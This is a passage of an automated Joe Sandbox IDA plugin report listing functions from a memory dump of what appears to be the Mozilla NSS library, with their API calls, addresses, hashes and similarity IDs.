Opcode Fuzzy Hash: 31d4ac93e200255395c1c11a136e36bb144fb93182a62adb4ea259b0d6ae1095
Instruction Fuzzy Hash: DB216AF1601B049BEB20AF70DC08BC373A8AB4534CF00082CE46AC7640EB76E008CBA6

Function 6C700860 Relevance: 12.1, APIs: 8, Instructions: 61COMMON

Download Yara Rule

APIs

PR_LogFlush.NSS3(00000000,00000000,?,?,6C707AE2,?,?,?,?,?,?,6C70798A), ref: 6C70086C

Part of subcall function 6C700930: EnterCriticalSection.KERNEL32(?,00000000,?,6C700C83), ref: 6C70094F
Part of subcall function 6C700930: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?,?,6C700C83), ref: 6C700974
Part of subcall function 6C700930: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C700983
Part of subcall function 6C700930: _PR_MD_UNLOCK.NSS3(?,?,6C700C83), ref: 6C70099F

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000001,00000000,00000000,?,?,6C707AE2,?,?,?,?,?,?,6C70798A), ref: 6C70087D
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,6C707AE2,?,?,?,?,?,?,6C70798A), ref: 6C700892
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,?,?,?,?,?,6C70798A), ref: 6C7008AA
free.MOZGLUE(?,00000000,00000000,?,?,6C707AE2,?,?,?,?,?,?,6C70798A), ref: 6C7008C7
free.MOZGLUE(?,00000000,00000000,?,?,6C707AE2,?,?,?,?,?,?,6C70798A), ref: 6C7008E9
free.MOZGLUE(?,6C707AE2,?,?,?,?,?,?,6C70798A), ref: 6C7008EF
PR_DestroyLock.NSS3(?,00000000,00000000,?,?,6C707AE2,?,?,?,?,?,?,6C70798A), ref: 6C70090E

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: free$__acrt_iob_func$CriticalDestroyEnterFlushLockSectionfclosefflushfwrite
String ID:
API String ID: 3145526462-0
Opcode ID: 81eaeab0a15ae9e5f88589589f0380f2363a0d1b1343f5d5207c5559388fddbb
Instruction ID: c031a73b4cd16cb7b200bd45812b9c27ff8c9c40f44d03f9f13969b31b22c562
Opcode Fuzzy Hash: 81eaeab0a15ae9e5f88589589f0380f2363a0d1b1343f5d5207c5559388fddbb
Instruction Fuzzy Hash: 7B1160F1B022444BEF00AF59DA5574A37B8FB4226EF690135E416976C0DF32E9148BD2

Function 6C5F3C90 Relevance: 12.1, APIs: 8, Instructions: 60COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,6C66460B,?,?), ref: 6C5F3CA9
EnterCriticalSection.KERNEL32(?), ref: 6C5F3CB9
PL_HashTableLookup.NSS3(?), ref: 6C5F3CC9
SECITEM_DupItem_Util.NSS3(00000000), ref: 6C5F3CD6
PR_Unlock.NSS3 ref: 6C5F3CE6
CERT_FindCertByDERCert.NSS3(?,00000000), ref: 6C5F3CF6
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C5F3D03
PR_Unlock.NSS3 ref: 6C5F3D15

Part of subcall function 6C69DD70: TlsGetValue.KERNEL32 ref: 6C69DD8C
Part of subcall function 6C69DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C69DDB4

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: CertCriticalItem_SectionUnlockUtilValue$EnterFindHashLeaveLookupTableZfree
String ID:
API String ID: 1376842649-0
Opcode ID: 53f0166f48d7be75e5a943d19f3d4231dbe5564d2aefe27d55c34d6fa9d0c927
Instruction ID: 876e82a35d021a2ac0afeb3d3f7c52b25ce650758e532429f0782a4fa53c89f2
Opcode Fuzzy Hash: 53f0166f48d7be75e5a943d19f3d4231dbe5564d2aefe27d55c34d6fa9d0c927
Instruction Fuzzy Hash: 1A1129B6E01105A7FB012B24DC058AA3B78EB4329DB544130ED2C83711FF22D85ACBE2

Function 6C5F9C50 Relevance: 10.8, APIs: 7, Instructions: 253stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6111C0: PR_NewLock.NSS3 ref: 6C611216

free.MOZGLUE(?), ref: 6C5F9E17
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5F9E25
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5F9E4E
TlsGetValue.KERNEL32 ref: 6C5F9EA2

Part of subcall function 6C609500: memcpy.VCRUNTIME140(00000000,?,00000000,?,?), ref: 6C609546

EnterCriticalSection.KERNEL32(?), ref: 6C5F9EB6
PR_Unlock.NSS3 ref: 6C5F9ED9
PR_SetError.NSS3(FFFFE08A,00000000), ref: 6C5F9F18

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: strlen$CriticalEnterErrorLockSectionUnlockValuefreememcpy
String ID:
API String ID: 3381623595-0
Opcode ID: 9708c8cfa3f58583ae56db2e20e665089cb86bc87fad54722db9e26ecbdf6d80
Instruction ID: dcedc6a63b593715df94d89411a8f135466a8a5e73db2516463f6b7ffae78c71
Opcode Fuzzy Hash: 9708c8cfa3f58583ae56db2e20e665089cb86bc87fad54722db9e26ecbdf6d80
Instruction Fuzzy Hash: 638128B1A00B01ABE709DF34CC40BABB7A9BF5624CF144529E95587B41FB31E819CBA5

Function 6C60DCB0 Relevance: 10.7, APIs: 7, Instructions: 245stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C60AB10: DeleteCriticalSection.KERNEL32(D958E852,6C611397,5B5F5EC0,?,?,6C60B1EE,2404110F,?,?), ref: 6C60AB3C
Part of subcall function 6C60AB10: free.MOZGLUE(D958E836,?,6C60B1EE,2404110F,?,?), ref: 6C60AB49
Part of subcall function 6C60AB10: DeleteCriticalSection.KERNEL32(5D5E6C80), ref: 6C60AB5C
Part of subcall function 6C60AB10: free.MOZGLUE(5D5E6C74), ref: 6C60AB63
Part of subcall function 6C60AB10: DeleteCriticalSection.KERNEL32(0148B821,?,2404110F,?,?), ref: 6C60AB6F
Part of subcall function 6C60AB10: free.MOZGLUE(0148B805,?,2404110F,?,?), ref: 6C60AB76

TlsGetValue.KERNEL32 ref: 6C60DCFA
EnterCriticalSection.KERNEL32(00000000), ref: 6C60DD0E
PK11_IsFriendly.NSS3(?), ref: 6C60DD73
PK11_IsLoggedIn.NSS3(?,00000000), ref: 6C60DD8B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C60DE81
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C60DEA6
PR_Unlock.NSS3(?), ref: 6C60DF08

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: CriticalSection$Deletefree$K11_$EnterFriendlyLoggedUnlockValuememcpystrlen
String ID:
API String ID: 519503562-0
Opcode ID: 7323ca80bcd5fe68c26c8125c2f95b7fea9423c489dedba9fb6369dd7b66ed94
Instruction ID: c21c1d2812d26b79b25ad238b2bd5e648cca68f61ab2f25f24e7aa386bc8f8bd
Opcode Fuzzy Hash: 7323ca80bcd5fe68c26c8125c2f95b7fea9423c489dedba9fb6369dd7b66ed94
Instruction Fuzzy Hash: 8991E7B5B002059FDB04DF68CA80BAAB7F1FF45308F148129DC19AB752E731E956CB99

Function 6C574F60 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 211stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C574FC4
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,0002996C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5751BB

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5751A5
misuse, xrefs: 6C5751AF
%s at line %d of [%.10s], xrefs: 6C5751B4
unable to delete/modify user-function due to active statements, xrefs: 6C5751DF

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: sqlite3_logstrlen
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify user-function due to active statements
API String ID: 3619038524-4115156624
Opcode ID: 690a6c3012c2094282e9f8e680748af866e60446e19569a4a60ff324677f07e7
Instruction ID: 5602569010b6757fbf3b739a1fd1057c2d90170e97338a86467212e5f76e8989
Opcode Fuzzy Hash: 690a6c3012c2094282e9f8e680748af866e60446e19569a4a60ff324677f07e7
Instruction Fuzzy Hash: 8771ACB1A0420ADFEB10CE25CD84F9A77B9BF48308F944524FD199BB81D735E990CBA1

Function 6C65FF10 Relevance: 10.7, APIs: 7, Instructions: 164memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400,?,?,00000000,00000000,?,6C65F165,?), ref: 6C65FF4B
PORT_ArenaAlloc_Util.NSS3(00000000,-000000F8,?,?,?,00000000,00000000,?,6C65F165,?), ref: 6C65FF6F
memset.VCRUNTIME140(00000000,00000000,-000000F8,?,?,?,?,?,00000000,00000000,?,6C65F165,?), ref: 6C65FF81
PORT_ArenaAlloc_Util.NSS3(00000000,-000000F8,?,?,?,?,?,00000000,00000000,?,6C65F165,?), ref: 6C65FF8D
memset.VCRUNTIME140(00000000,00000000,-000000F8,?,?,?,?,?,?,?,00000000,00000000,?,6C65F165,?), ref: 6C65FFA3
SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,6C65F165,6C72219C,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C65FFC8
PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,00000000,00000000,?,6C65F165,?), ref: 6C6600A6

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Util$Alloc_ArenaArena_memset$EncodeFreeItem_
String ID:
API String ID: 204871323-0
Opcode ID: 1c6475719157fc66a44f2cce5c34e9e3a49e8ca4f7c97d902a668967d1dc84fe
Instruction ID: adc6be22a739cb2a518be76aa488e0bfd39c8bd8f5f3ed46f0ef4438facbf557
Opcode Fuzzy Hash: 1c6475719157fc66a44f2cce5c34e9e3a49e8ca4f7c97d902a668967d1dc84fe
Instruction Fuzzy Hash: D0511571E042559FDB108E5AC8807AEB7B5FB49318F680239DC95A7F40D332AD10CBDA

Function 6C61DEF0 Relevance: 10.7, APIs: 7, Instructions: 159COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C61DF37
EnterCriticalSection.KERNEL32(?), ref: 6C61DF4B
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C61DF96
PR_SetError.NSS3(00000000,00000000), ref: 6C61E02B
PR_Unlock.NSS3(?), ref: 6C61E07E
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C61E090
PR_Unlock.NSS3(?), ref: 6C61E0AF

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Error$Unlock$CriticalEnterSectionValue
String ID:
API String ID: 4073542275-0
Opcode ID: 8b7f0d09d71eb7da3ba4f2cdaa3843be7004bdb4c1629067a94cfba1978a7aa5
Instruction ID: 91d4f010c7c13faf82da376cc551ff4c5915e10ed3d8aa7b9bc3fb8b391b74b1
Opcode Fuzzy Hash: 8b7f0d09d71eb7da3ba4f2cdaa3843be7004bdb4c1629067a94cfba1978a7aa5
Instruction Fuzzy Hash: BC51D031A086009FDB219F28D848B9773B1FF4531AF204529E89A47FA1D731E958CBDA

Function 6C61BCF0 Relevance: 10.6, APIs: 7, Instructions: 142memoryCOMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6C61BD1E

Part of subcall function 6C5F2F00: PORT_NewArena_Util.NSS3(00000800), ref: 6C5F2F0A
Part of subcall function 6C5F2F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C5F2F1D

Part of subcall function 6C6357D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6C5FB41E,00000000,00000000,?,00000000,?,6C5FB41E,00000000,00000000,00000001,?), ref: 6C6357E0
Part of subcall function 6C6357D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6C635843

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C61BD8C

Part of subcall function 6C64FAB0: free.MOZGLUE(?,-00000001,?,?,6C5EF673,00000000,00000000), ref: 6C64FAC7

CERT_DestroyCertList.NSS3(00000000), ref: 6C61BD9B
SECITEM_AllocItem_Util.NSS3(00000000,00000000,00000008), ref: 6C61BDA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C61BE3A

Part of subcall function 6C5F3E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5F3EC2
Part of subcall function 6C5F3E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C5F3ED6
Part of subcall function 6C5F3E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C5F3EEE
Part of subcall function 6C5F3E60: PR_CallOnce.NSS3(6C752AA4,6C6512D0), ref: 6C5F3F02
Part of subcall function 6C5F3E60: PL_FreeArenaPool.NSS3 ref: 6C5F3F14
Part of subcall function 6C5F3E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C5F3F27

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C61BE52

Part of subcall function 6C5F2E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C5F2CDA,?,00000000), ref: 6C5F2E1E
Part of subcall function 6C5F2E00: SECITEM_DupItem_Util.NSS3(?), ref: 6C5F2E33
Part of subcall function 6C5F2E00: TlsGetValue.KERNEL32 ref: 6C5F2E4E
Part of subcall function 6C5F2E00: EnterCriticalSection.KERNEL32(?), ref: 6C5F2E5E
Part of subcall function 6C5F2E00: PL_HashTableLookup.NSS3(?), ref: 6C5F2E71
Part of subcall function 6C5F2E00: PL_HashTableRemove.NSS3(?), ref: 6C5F2E84
Part of subcall function 6C5F2E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6C5F2E96
Part of subcall function 6C5F2E00: PR_Unlock.NSS3 ref: 6C5F2EA9

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C61BE61

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Util$Item_$Zfree$ArenaHashTable$CertListPoolfree$AllocAlloc_Arena_CallCopyCriticalDecodeDestroyEnterErrorFreeInitK11_LookupOnceQuickRemoveSectionTokensUnlockValue
String ID:
API String ID: 2178860483-0
Opcode ID: 2688e6cdb589a2b7e846b5c98fb592ee3de0c891adf25be2ae731078b4c8c0ea
Instruction ID: aedbe0c941fb341ecb5be5e939d343c7a18a4e0f0357f59eeeecc86493c7d853
Opcode Fuzzy Hash: 2688e6cdb589a2b7e846b5c98fb592ee3de0c891adf25be2ae731078b4c8c0ea
Instruction Fuzzy Hash: C34115B5E04210AFD710DF28DC80B6A77E4EF89719F108168F91997B51E731EC15CB9A

Function 6C63AC10 Relevance: 10.6, APIs: 7, Instructions: 121memoryCOMMON

Download Yara Rule

APIs

PK11_CreateContextBySymKey.NSS3(00000133,00000105,00000000,?,?,6C63AB3E,?,?,?), ref: 6C63AC35

Part of subcall function 6C61CEC0: PK11_FreeSymKey.NSS3(00000000), ref: 6C61CF16

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6C63AB3E,?,?,?), ref: 6C63AC55

Part of subcall function 6C6510C0: TlsGetValue.KERNEL32(?,6C5F8802,00000000,00000008,?,6C5EEF74,00000000), ref: 6C6510F3
Part of subcall function 6C6510C0: EnterCriticalSection.KERNEL32(?,?,6C5F8802,00000000,00000008,?,6C5EEF74,00000000), ref: 6C65110C
Part of subcall function 6C6510C0: PL_ArenaAllocate.NSS3(?,?,?,6C5F8802,00000000,00000008,?,6C5EEF74,00000000), ref: 6C651141
Part of subcall function 6C6510C0: PR_Unlock.NSS3(?,?,?,6C5F8802,00000000,00000008,?,6C5EEF74,00000000), ref: 6C651182
Part of subcall function 6C6510C0: TlsGetValue.KERNEL32(?,6C5F8802,00000000,00000008,?,6C5EEF74,00000000), ref: 6C65119C

PK11_CipherOp.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,6C63AB3E,?,?), ref: 6C63AC70

Part of subcall function 6C61E300: TlsGetValue.KERNEL32 ref: 6C61E33C
Part of subcall function 6C61E300: EnterCriticalSection.KERNEL32(?), ref: 6C61E350
Part of subcall function 6C61E300: PR_Unlock.NSS3(?), ref: 6C61E5BC
Part of subcall function 6C61E300: PK11_GenerateRandom.NSS3(00000000,00000008), ref: 6C61E5CA
Part of subcall function 6C61E300: TlsGetValue.KERNEL32 ref: 6C61E5F2
Part of subcall function 6C61E300: EnterCriticalSection.KERNEL32(?), ref: 6C61E606
Part of subcall function 6C61E300: PORT_Alloc_Util.NSS3(?), ref: 6C61E613

PK11_GetBlockSize.NSS3(00000133,00000000), ref: 6C63AC92
PK11_DestroyContext.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,6C63AB3E), ref: 6C63ACD7
PORT_Alloc_Util.NSS3(?), ref: 6C63AD10
memcpy.VCRUNTIME140(00000000,?,FF850674), ref: 6C63AD2B

Part of subcall function 6C61F360: TlsGetValue.KERNEL32(00000000,?,6C63A904,?), ref: 6C61F38B
Part of subcall function 6C61F360: EnterCriticalSection.KERNEL32(?,?,?,6C63A904,?), ref: 6C61F3A0
Part of subcall function 6C61F360: PR_Unlock.NSS3(?,?,?,?,6C63A904,?), ref: 6C61F3D3

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: K11_$Value$CriticalEnterSection$Alloc_UnlockUtil$ArenaContext$AllocateBlockCipherCreateDestroyFreeGenerateRandomSizememcpy
String ID:
API String ID: 2926855110-0
Opcode ID: 8ab63894c7b7c4154ee0d5c90ff0970cfad63edec8145616820dd3f256e5dec9
Instruction ID: 545d985a58968cc8402ec2a71fdfa0af15a0ef286342ef4924a16ff6e7c84654
Opcode Fuzzy Hash: 8ab63894c7b7c4154ee0d5c90ff0970cfad63edec8145616820dd3f256e5dec9
Instruction Fuzzy Hash: C23128B1E002155FEF04CFA98C409AFB7A6AFC5328B189128E81997B41EB31DD15D7A9

Function 6C618C70 Relevance: 10.6, APIs: 7, Instructions: 110stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6C618C7C

Part of subcall function 6C6B9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C700A27), ref: 6C6B9DC6
Part of subcall function 6C6B9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C700A27), ref: 6C6B9DD1
Part of subcall function 6C6B9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C6B9DED

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C618CB0
TlsGetValue.KERNEL32 ref: 6C618CD1
EnterCriticalSection.KERNEL32(?), ref: 6C618CE5
PR_Unlock.NSS3(?), ref: 6C618D2E
PR_SetError.NSS3(FFFFE00F,00000000), ref: 6C618D62
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C618D93

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Time$ErrorSystem$CriticalEnterFileSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strlen
String ID:
API String ID: 3131193014-0
Opcode ID: b66ced2893d3c3f502c3430e81e928b193dedccc2564026d86522c12e825401b
Instruction ID: 9f3291ed547a66de8f8b614946bc0eea1d8d644feacbd8f4ea714a7cd0c6e3ae
Opcode Fuzzy Hash: b66ced2893d3c3f502c3430e81e928b193dedccc2564026d86522c12e825401b
Instruction Fuzzy Hash: 65312471E08701ABD7009F68CC447DAB7B0BF59319F15013AEA1967FA0D730A924C7C9

Function 6C659D60 Relevance: 10.6, APIs: 7, Instructions: 108memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,00000000,?,?,00000000,?,6C659C5B), ref: 6C659D82

Part of subcall function 6C6514C0: TlsGetValue.KERNEL32 ref: 6C6514E0
Part of subcall function 6C6514C0: EnterCriticalSection.KERNEL32 ref: 6C6514F5
Part of subcall function 6C6514C0: PR_Unlock.NSS3 ref: 6C65150D

PORT_ArenaGrow_Util.NSS3(?,?,00000000,?,6C659C5B), ref: 6C659DA9

Part of subcall function 6C651340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6C5F895A,00000000,?,00000000,?,00000000,?,00000000,?,6C5EF599,?,00000000), ref: 6C65136A
Part of subcall function 6C651340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6C5F895A,00000000,?,00000000,?,00000000,?,00000000,?,6C5EF599,?,00000000), ref: 6C65137E
Part of subcall function 6C651340: PL_ArenaGrow.NSS3(?,6C5EF599,?,00000000,?,6C5F895A,00000000,?,00000000,?,00000000,?,00000000,?,6C5EF599,?), ref: 6C6513CF
Part of subcall function 6C651340: PR_Unlock.NSS3(?,?,6C5F895A,00000000,?,00000000,?,00000000,?,00000000,?,6C5EF599,?,00000000), ref: 6C65145C

PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,6C659C5B), ref: 6C659DCE

Part of subcall function 6C651340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6C5F895A,00000000,?,00000000,?,00000000,?,00000000,?,6C5EF599,?,00000000), ref: 6C6513F0
Part of subcall function 6C651340: PL_ArenaGrow.NSS3(?,6C5EF599,?,?,?,00000000,00000000,?,6C5F895A,00000000,?,00000000,?,00000000,?,00000000), ref: 6C651445

PORT_ArenaAlloc_Util.NSS3(?,00000008,6C659C5B), ref: 6C659DDC
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,6C659C5B), ref: 6C659DFE
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,6C659C5B), ref: 6C659E43
